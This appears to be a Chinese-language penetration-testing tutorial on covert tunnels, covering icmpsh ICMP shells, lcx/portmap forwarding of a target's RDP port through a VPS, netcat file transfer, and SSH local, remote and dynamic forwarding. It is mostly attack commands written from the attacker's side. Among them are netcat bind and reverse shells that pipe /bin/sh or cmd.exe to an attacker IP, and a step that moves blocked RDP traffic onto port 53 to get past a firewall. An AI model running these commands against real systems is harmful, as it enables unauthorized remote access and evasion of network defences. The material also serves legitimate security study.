隐藏通信隧道技术

4

隐藏通信隧道技术

常用隧道

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道。
  • 传输层:TCP隧道、UDP隧道、常规端口转发。
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道。

网络层隧道技术

IPv6隧道

没写

ICMP隧道

  1. 下载icmpsh工具
git clone https://github.com/inquisb/icmpsh.git
  1. 安装impacket库
apt-get install python-impacket
踩坑了,使用下面的方法安装
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python2 setup.py install
  1. 关闭自身的icmp应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1
  1. 攻击机执行
python2 icmpsh_m.py 攻击机IP 受害机IP
  1. 受害机执行
icmpsh.exe -t 攻击机IP
  1. 攻击机上获取到shell,执行系统命令

图片-rpnd.png

  1. 还原icmp应答
sysctl -w net.ipv4.icmp_echo_ignore_all=0

传输层隧道技术

lcx端口转发

最为经典的端口转发工具,Windows版为lcx.exe,Linux版为portmap。

内网端口转发

  1. 在VPS上执行如下命令,将本机4444端口转发到本地5555端口上
lcx.exe –listen 4444 5555 # Windows版
./portmap -m 2 -p1 4444 -h2 <公网主机IP地址> -p2 5555 # Linux版
  1. 在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上
lcx.exe -slave <公网主机IP地址> 4444 <目标主机IP地址> 3389 # Windows版
./portmap -m 3 -h1 <目标主机IP地址> -p1 3389 -h2 <公网主机IP地址> -p2 4444 # Linux版
  1. 使用mstsc连接<公网主机IP地址>:5555,即可访问目标服务器的3389端口。

本地端口映射

如果目标服务器存在防火墙限制,部分端口(如3389)的数据无法通过防火墙,可以将目标服务器相应的端口数据透传到防火墙允许的其他端口(如53)。

lcx.exe -tran 53 <目标主机IP地址> 3389 # Windows版
./portmap -m 1 -p1 53 -h2 <目标主机IP地址> -p2 3389 # Linux版

netcat工具

文件传输

不仅仅是传输txt,任意格式的文件都能传!

  1. 接收端监听端口
nc -lp 333 > 1.txt
  1. 发送端输入如下命令,将test.txt传输过去。
nc -vn <对端IP地址> 333 < test.txt

获取shell

正向shell,目标服务器上监听,攻击机主动连接目标服务器。

  1. 输入如下命令,监听目标主机的4444端口
nc -lvp 4444 -e /bin/sh # Linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe # Windows
  1. VPS上连接目标主机的4444端口
nc 192.168.52.136 4444
  1. 获取正向shell,执行命令

图片-egwg.png

反向shell,攻击机监听,目标服务器主动连接攻击机。

  1. 在VPS上监听本地9999端口
nc -lvvp 9999
  1. 目标主机中反弹shell
nc 192.168.0.112 9999 -e /bin/sh # Linux
nc 192.168.0.112 9999 -e c:\windows\system32\cmd.exe # Windows
  1. 获取反向shell,执行系统命令

图片-aayj.png

应用层隧道技术

SSH协议

本地转发

VPS与跳板机互通,在VPS上执行,将VPS某个端口通过跳板机转发至内网服务器的某个端口上。

ssh -CfNg -L VPS端口:目标主机:目标端口 root@跳板机
  1. 实际环境中,在VPS上执行如下命令,要求输入跳板机的密码

图片-kcmh.png

  1. 查看VPS 1153端口

图片-isuw.png

  1. 连接VPS 1153端口

图片-cuzl.png

远程转发

VPS不能访问跳板机,但跳板机可以访问VPS,在跳板机上执行,将VPS某个端口通过跳板机转发至内网服务器的某个端口上。

ssh -CfNg -R VPS端口:目标主机:目标端口 root@VPS

动态转发

VPS与跳板机互通,在VPS上执行,建立一个动态的socks代理通道。

ssh -CfNg -D 7000 root@跳板机
  1. 在VPS上执行如下命令,输入跳板机的密码

图片-vitp.png

  1. 设置socks代理,访问内网应用

图片-omaw.png